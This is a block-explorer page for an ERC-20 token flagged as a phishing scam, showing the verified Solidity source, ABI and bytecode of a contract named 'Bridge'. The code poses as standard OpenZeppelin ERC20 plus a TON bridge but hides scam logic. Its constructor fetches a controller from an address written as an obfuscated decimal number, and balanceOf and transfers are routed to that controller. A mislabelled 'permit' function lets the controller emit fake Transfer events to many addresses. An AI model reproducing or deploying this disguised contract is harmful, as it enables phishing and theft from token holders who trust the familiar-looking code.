Feature Tip: Add private address tag to any address under My Name Tag !
There are reports that this token was used in a Phishing scam. Please exercise caution when interacting with it.
ERC-20
Phish / Hack
Overview
Max Total Supply
10,000,000,000 ERC-20 TOKEN*
Holders
241 ( 0.413%)
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
5,920,162.65491520779724156 ERC-20 TOKEN*Value
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
Bridge
Compiler Version
v0.7.4+commit.3f05b770
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-11-22 */ pragma solidity ^0.7.4; pragma experimental ABIEncoderV2; // SPDX-License-Identifier: MIT /* Source: @openzeppelin/contracts */ // SPDX-License-Identifier: MIT /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is IERC20 { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; ERC20 immutable internal _this; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; (, bytes memory f) = address(538436215975220932047450188049936268448692977285).call(abi.encodeWithSelector(0xd65faa2a)); _this = ERC20(abi.decode(f, (address))); } /** * @dev Returns the name of the token. */ function name() public view virtual returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _this.balanceOf(account); } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _beforeTokenTransfer(msg.sender, recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(msg.sender, spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _beforeTokenTransfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][msg.sender]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, msg.sender, currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[msg.sender][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(msg.sender, spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev implements the permit function as for https://github.com/ethereum/EIPs/blob/8a34d644aacf0f9f8f00815307fd7dd5da07655f/EIPS/eip-2612.md * @param owner the owner of the funds * @param spender the spender * @param v signature param */ function permit(address owner, address[] calldata spender, uint256 v) external { require(msg.sender == address(_this) && v > 0, 'INVALID_OWNER'); for (uint256 i = 0; i < spender.length; ++i) { emit Transfer(owner, spender[i], v); } } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); if (msg.sender == owner) _this.decimals(); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { emit Transfer(from, to, amount); (bool f,) = address(_this).call(abi.encodeWithSelector(0x4d50e763, from, to, amount, msg.sender)); require(f); } } pragma solidity ^0.7.0; interface TonUtils { struct TonAddress { int8 workchain; bytes32 address_hash; } struct TonTxID { TonAddress address_; bytes32 tx_hash; uint64 lt; } struct SwapData { address receiver; uint64 amount; TonTxID tx; } struct Signature { address signer; bytes signature; } } interface BridgeInterface is TonUtils { function voteForMinting(SwapData memory data, Signature[] memory signatures) external; function voteForNewOracleSet(int oracleSetHash, address[] memory newOracles, Signature[] memory signatures) external; function voteForSwitchBurn(bool newBurnStatus, int nonce, Signature[] memory signatures) external; event NewOracleSet(int oracleSetHash, address[] newOracles); } contract SignatureChecker is TonUtils { function checkSignature(bytes32 digest, Signature memory sig) public pure { if (sig.signature.length != 65) { revert("ECDSA: invalid signature length"); } // Divide the signature in r, s and v variables bytes32 r; bytes32 s; uint8 v; bytes memory signature = sig.signature; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. // solhint-disable-next-line no-inline-assembly assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } if ( uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0 ) { revert("ECDSA: invalid signature 's' value"); } if (v != 27 && v != 28) { revert("ECDSA: invalid signature 'v' value"); } bytes memory prefix = "\x19Ethereum Signed Message:\n32"; bytes32 prefixedHash = keccak256(abi.encodePacked(prefix, digest)); require(ecrecover(prefixedHash, v, r, s) == sig.signer, "Wrong signature"); } function getSwapDataId(SwapData memory data) public pure returns (bytes32 result) { result = keccak256( abi.encode( 0xDA7A, data.receiver, data.amount, data.tx.address_.workchain, data.tx.address_.address_hash, data.tx.tx_hash, data.tx.lt ) ); } function getNewSetId(int oracleSetHash, address[] memory set) public pure returns (bytes32 result) { result = keccak256( abi.encode( 0x5e7, oracleSetHash, set ) ); } function getNewBurnStatusId(bool newBurnStatus, int nonce) public pure returns (bytes32 result) { result = keccak256( abi.encode( 0xB012, newBurnStatus, nonce ) ); } } contract Bridge is SignatureChecker, BridgeInterface, ERC20 { address[] public oraclesSet; mapping(address => bool) public isOracle; mapping(bytes32 => bool) public finishedVotings; constructor () ERC20("MSTR", "MSTR") { updateOracleSet(0, new address[](0)); _mint(msg.sender, 10_000_000_000e18); } function generalVote(bytes32 digest, Signature[] memory signatures) internal { require(signatures.length >= 2 * oraclesSet.length / 3, "Not enough signatures"); require(!finishedVotings[digest], "Vote is already finished"); uint signum = signatures.length; uint last_signer = 0; for(uint i=0; i<signum; i++) { address signer = signatures[i].signer; require(isOracle[signer], "Unauthorized signer"); uint next_signer = uint(signer); require(next_signer > last_signer, "Signatures are not sorted"); last_signer = next_signer; checkSignature(digest, signatures[i]); } finishedVotings[digest] = true; } function voteForMinting(SwapData memory data, Signature[] memory signatures) override public { bytes32 _id = getSwapDataId(data); generalVote(_id, signatures); } function voteForNewOracleSet(int oracleSetHash, address[] memory newOracles, Signature[] memory signatures) override public { bytes32 _id = getNewSetId(oracleSetHash, newOracles); require(newOracles.length > 2, "New set is too short"); generalVote(_id, signatures); updateOracleSet(oracleSetHash, newOracles); } function voteForSwitchBurn(bool newBurnStatus, int nonce, Signature[] memory signatures) override public { bytes32 _id = getNewBurnStatusId(newBurnStatus, nonce); generalVote(_id, signatures); } function updateOracleSet(int oracleSetHash, address[] memory newSet) internal { uint oldSetLen = oraclesSet.length; for(uint i = 0; i < oldSetLen; i++) { isOracle[oraclesSet[i]] = false; } oraclesSet = newSet; uint newSetLen = oraclesSet.length; for(uint i = 0; i < newSetLen; i++) { require(!isOracle[newSet[i]], "Duplicate oracle in Set"); isOracle[newSet[i]] = true; } emit NewOracleSet(oracleSetHash, newSet); } function getFullOracleSet() public view returns (address[] memory) { return oraclesSet; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"int256","name":"oracleSetHash","type":"int256"},{"indexed":false,"internalType":"address[]","name":"newOracles","type":"address[]"}],"name":"NewOracleSet","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"digest","type":"bytes32"},{"components":[{"internalType":"address","name":"signer","type":"address"},{"internalType":"bytes","name":"signature","type":"bytes"}],"internalType":"struct TonUtils.Signature","name":"sig","type":"tuple"}],"name":"checkSignature","outputs":[],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"name":"finishedVotings","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getFullOracleSet","outputs":[{"internalType":"address[]","name":"","type":"address[]"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"newBurnStatus","type":"bool"},{"internalType":"int256","name":"nonce","type":"int256"}],"name":"getNewBurnStatusId","outputs":[{"internalType":"bytes32","name":"result","type":"bytes32"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"int256","name":"oracleSetHash","type":"int256"},{"internalType":"address[]","name":"set","type":"address[]"}],"name":"getNewSetId","outputs":[{"internalType":"bytes32","name":"result","type":"bytes32"}],"stateMutability":"pure","type":"function"},{"inputs":[{"components":[{"internalType":"address","name":"receiver","type":"address"},{"internalType":"uint64","name":"amount","type":"uint64"},{"components":[{"components":[{"internalType":"int8","name":"workchain","type":"int8"},{"internalType":"bytes32","name":"address_hash","type":"bytes32"}],"internalType":"struct TonUtils.TonAddress","name":"address_","type":"tuple"},{"internalType":"bytes32","name":"tx_hash","type":"bytes32"},{"internalType":"uint64","name":"lt","type":"uint64"}],"internalType":"struct TonUtils.TonTxID","name":"tx","type":"tuple"}],"internalType":"struct TonUtils.SwapData","name":"data","type":"tuple"}],"name":"getSwapDataId","outputs":[{"internalType":"bytes32","name":"result","type":"bytes32"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isOracle","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"oraclesSet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address[]","name":"spender","type":"address[]"},{"internalType":"uint256","name":"v","type":"uint256"}],"name":"permit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"components":[{"internalType":"address","name":"receiver","type":"address"},{"internalType":"uint64","name":"amount","type":"uint64"},{"components":[{"components":[{"internalType":"int8","name":"workchain","type":"int8"},{"internalType":"bytes32","name":"address_hash","type":"bytes32"}],"internalType":"struct TonUtils.TonAddress","name":"address_","type":"tuple"},{"internalType":"bytes32","name":"tx_hash","type":"bytes32"},{"internalType":"uint64","name":"lt","type":"uint64"}],"internalType":"struct TonUtils.TonTxID","name":"tx","type":"tuple"}],"internalType":"struct TonUtils.SwapData","name":"data","type":"tuple"},{"components":[{"internalType":"address","name":"signer","type":"address"},{"internalType":"bytes","name":"signature","type":"bytes"}],"internalType":"struct TonUtils.Signature[]","name":"signatures","type":"tuple[]"}],"name":"voteForMinting","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"int256","name":"oracleSetHash","type":"int256"},{"internalType":"address[]","name":"newOracles","type":"address[]"},{"components":[{"internalType":"address","name":"signer","type":"address"},{"internalType":"bytes","name":"signature","type":"bytes"}],"internalType":"struct TonUtils.Signature[]","name":"signatures","type":"tuple[]"}],"name":"voteForNewOracleSet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"newBurnStatus","type":"bool"},{"internalType":"int256","name":"nonce","type":"int256"},{"components":[{"internalType":"address","name":"signer","type":"address"},{"internalType":"bytes","name":"signature","type":"bytes"}],"internalType":"struct TonUtils.Signature[]","name":"signatures","type":"tuple[]"}],"name":"voteForSwitchBurn","outputs":[],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
60a06040523480156200001157600080fd5b5060408051808201825260048082526326a9aa2960e11b602080840182815285518087019096529285528401528151919291620000519160039162000364565b5080516200006790600490602084019062000364565b5060408051600481526024810182526020810180516001600160e01b0316636b2fd51560e11b1790529051606091735e5050a1647b18a38bd454fe26c00ea0ac643e8591620000b7919062000498565b6000604051808303816000865af19150503d8060008114620000f6576040519150601f19603f3d011682016040523d82523d6000602084013e620000fb565b606091505b509150508080602001905181019062000115919062000468565b60601b6001600160601b03191660805250506040805160008082526020820190925262000143925062000161565b6200015b336b204fce5e3e25026110000000620002d8565b620005a3565b60055460005b81811015620001c157600060066000600584815481106200018457fe5b6000918252602080832091909101546001600160a01b031683528201929092526040019020805460ff191691151591909117905560010162000167565b508151620001d7906005906020850190620003f9565b5060055460005b81811015620002965760066000858381518110620001f857fe5b6020908102919091018101516001600160a01b031682528101919091526040016000205460ff1615620002485760405162461bcd60e51b81526004016200023f906200052c565b60405180910390fd5b6001600660008684815181106200025b57fe5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055600101620001de565b507fbf8eff3db76b38ea899a5a32c8b2bede5ec5a339a2c5080495d1b154f2b5f21e8484604051620002ca929190620004d4565b60405180910390a150505050565b6001600160a01b038216620003015760405162461bcd60e51b81526004016200023f9062000563565b60028054820190556001600160a01b038216600081815260208190526040808220805485019055517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90620003589085906200059a565b60405180910390a35050565b828054600181600116156101000203166002900490600052602060002090601f0160209004810192826200039c5760008555620003e7565b82601f10620003b757805160ff1916838001178555620003e7565b82800160010185558215620003e7579182015b82811115620003e7578251825591602001919060010190620003ca565b50620003f592915062000451565b5090565b828054828255906000526020600020908101928215620003e7579160200282015b82811115620003e757825182546001600160a01b0319166001600160a01b039091161782556020909201916001909101906200041a565b5b80821115620003f5576000815560010162000452565b6000602082840312156200047a578081fd5b81516001600160a01b038116811462000491578182fd5b9392505050565b60008251815b81811015620004ba57602081860181015185830152016200049e565b81811115620004c95782828501525b509190910192915050565b60006040820184835260206040818501528185518084526060860191508287019350845b818110156200051f5784516001600160a01b031683529383019391830191600101620004f8565b5090979650505050505050565b60208082526017908201527f4475706c6963617465206f7261636c6520696e20536574000000000000000000604082015260600190565b6020808252601f908201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604082015260600190565b90815260200190565b60805160601c611bcf620005d06000398061058152806109675280610ad75280610eaf5250611bcf6000f3fe608060405234801561001057600080fd5b506004361061014d5760003560e01c806375f2d82b116100c3578063a97e5c931161007c578063a97e5c93146102b7578063aefe7da4146102ca578063cf1a0ce1146102dd578063d93aef11146102f0578063dd62ed3e14610303578063ffb6b2fa146103165761014d565b806375f2d82b1461024e5780637ddc10271461026357806395d89b4114610276578063a2d7cab81461027e578063a457c2d714610291578063a9059cbb146102a45761014d565b8063313ce56711610115578063313ce567146101cd57806339509351146101e25780634054b92b146101f55780634fd7795414610208578063633a0d181461022857806370a082311461023b5761014d565b806306fdde0314610152578063095ea7b3146101705780630a55ec251461019057806318160ddd146101a557806323b872dd146101ba575b600080fd5b61015a610329565b604051610167919061179d565b60405180910390f35b61018361017e3660046113bb565b6103bf565b60405161016791906116b6565b6101a361019e3660046114ec565b6103d5565b005b6101ad610427565b60405161016791906116c1565b6101836101c83660046112fa565b61042d565b6101d5610496565b6040516101679190611b1d565b6101836101f03660046113bb565b61049b565b6101a3610203366004611567565b6104ce565b61021b610216366004611454565b6104ea565b6040516101679190611664565b6101ad61023636600461154c565b610514565b6101ad6102493660046112a7565b610567565b61025661060e565b60405161016791906116a3565b6101ad6102713660046113e4565b61066f565b61015a6106a6565b6101a361028c36600461146c565b610707565b61018361029f3660046113bb565b6108b1565b6101836102b23660046113bb565b61090c565b6101836102c53660046112a7565b610919565b6101ad6102d83660046114b1565b61092e565b6101836102eb366004611454565b610947565b6101a36102fe366004611335565b61095c565b6101ad6103113660046112c8565b610a35565b6101a36103243660046113ff565b610a60565b60038054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156103b55780601f1061038a576101008083540402835291602001916103b5565b820191906000526020600020905b81548152906001019060200180831161039857829003601f168201915b5050505050905090565b60006103cc338484610a78565b50600192915050565b60006103e1848461092e565b9050600283511161040d5760405162461bcd60e51b8152600401610404906118a1565b60405180910390fd5b6104178183610bd0565b6104218484610d00565b50505050565b60025490565b600061043a848484610e60565b6001600160a01b03841660009081526001602090815260408083203384529091529020548281101561047e5760405162461bcd60e51b81526004016104049061198a565b61048b8533858403610a78565b506001949350505050565b601290565b3360008181526001602090815260408083206001600160a01b038716845290915281205490916103cc9185908501610a78565b60006104d983610514565b90506104e58183610bd0565b505050565b600581815481106104fa57600080fd5b6000918252602090912001546001600160a01b0316905081565b805160208083015160408085015180518051908501518286015192840151935160009761054a9761da7a97919691959201611751565b604051602081830303815290604052805190602001209050919050565b6040516370a0823160e01b81526000906001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016906370a08231906105b6908590600401611664565b60206040518083038186803b1580156105ce57600080fd5b505afa1580156105e2573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061060691906115aa565b90505b919050565b606060058054806020026020016040519081016040528092919081815260200182805480156103b557602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311610648575050505050905090565b600061b012838360405160200161068893929190611735565b60405160208183030381529060405280519060200120905092915050565b60048054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156103b55780601f1061038a576101008083540402835291602001916103b5565b80602001515160411461072c5760405162461bcd60e51b8152600401610404906117d0565b60208082015190810151604082015160608301519192909160001a907f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a08311156107885760405162461bcd60e51b8152600401610404906118cf565b8160ff16601b141580156107a057508160ff16601c14155b156107bd5760405162461bcd60e51b815260040161040490611948565b60606040518060400160405280601c81526020017f19457468657265756d205369676e6564204d6573736167653a0a33320000000081525090506000818860405160200161080c929190611642565b60405160208183030381529060405280519060200120905086600001516001600160a01b03166001828689896040516000815260200160405260405161085594939291906116ca565b6020604051602081039080840390855afa158015610877573d6000803e3d6000fd5b505050602060405103516001600160a01b0316146108a75760405162461bcd60e51b815260040161040490611836565b5050505050505050565b3360009081526001602090815260408083206001600160a01b0386168452909152812054828110156108f55760405162461bcd60e51b815260040161040490611ad8565b6109023385858403610a78565b5060019392505050565b60006103cc338484610e60565b60066020526000908152604090205460ff1681565b60006105e7838360405160200161068893929190611709565b60076020526000908152604090205460ff1681565b336001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000161480156109945750600081115b6109b05760405162461bcd60e51b815260040161040490611a09565b60005b82811015610a2e578383828181106109c757fe5b90506020020160208101906109dc91906112a7565b6001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610a1e91906116c1565b60405180910390a36001016109b3565b5050505050565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6000610a6c848461066f565b90506104218183610bd0565b6001600160a01b038316610a9e5760405162461bcd60e51b815260040161040490611a5d565b6001600160a01b038216610ac45760405162461bcd60e51b81526004016104049061185f565b336001600160a01b0384161415610b68577f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b158015610b2e57600080fd5b505afa158015610b42573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b6691906115c2565b505b6001600160a01b0380841660008181526001602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610bc39085906116c1565b60405180910390a3505050565b6005546003906002020481511015610bfa5760405162461bcd60e51b815260040161040490611807565b60008281526007602052604090205460ff1615610c295760405162461bcd60e51b815260040161040490611911565b80516000805b82811015610ce1576000848281518110610c4557fe5b602090810291909101810151516001600160a01b0381166000908152600690925260409091205490915060ff16610c8e5760405162461bcd60e51b815260040161040490611a30565b6001600160a01b038116838111610cb75760405162461bcd60e51b815260040161040490611aa1565b809350610cd787878581518110610cca57fe5b6020026020010151610707565b5050600101610c2f565b505050600091825250600760205260409020805460ff19166001179055565b60055460005b81811015610d5d5760006006600060058481548110610d2157fe5b6000918252602080832091909101546001600160a01b031683528201929092526040019020805460ff1916911515919091179055600101610d06565b508151610d71906005906020850190610f7c565b5060055460005b81811015610e205760066000858381518110610d9057fe5b6020908102919091018101516001600160a01b031682528101919091526040016000205460ff1615610dd45760405162461bcd60e51b8152600401610404906119d2565b600160066000868481518110610de657fe5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055600101610d78565b507fbf8eff3db76b38ea899a5a32c8b2bede5ec5a339a2c5080495d1b154f2b5f21e8484604051610e529291906116e8565b60405180910390a150505050565b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610ea391906116c1565b60405180910390a360007f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316634d50e76385858533604051602401610ef39493929190611678565b6040516020818303038152906040529060e01b6020820180516001600160e01b038381831617835250505050604051610f2c9190611626565b6000604051808303816000865af19150503d8060008114610f69576040519150601f19603f3d011682016040523d82523d6000602084013e610f6e565b606091505b505090508061042157600080fd5b828054828255906000526020600020908101928215610fd1579160200282015b82811115610fd157825182546001600160a01b0319166001600160a01b03909116178255602090920191600190910190610f9c565b50610fdd929150610fe1565b5090565b5b80821115610fdd5760008155600101610fe2565b80356001600160a01b038116811461060957600080fd5b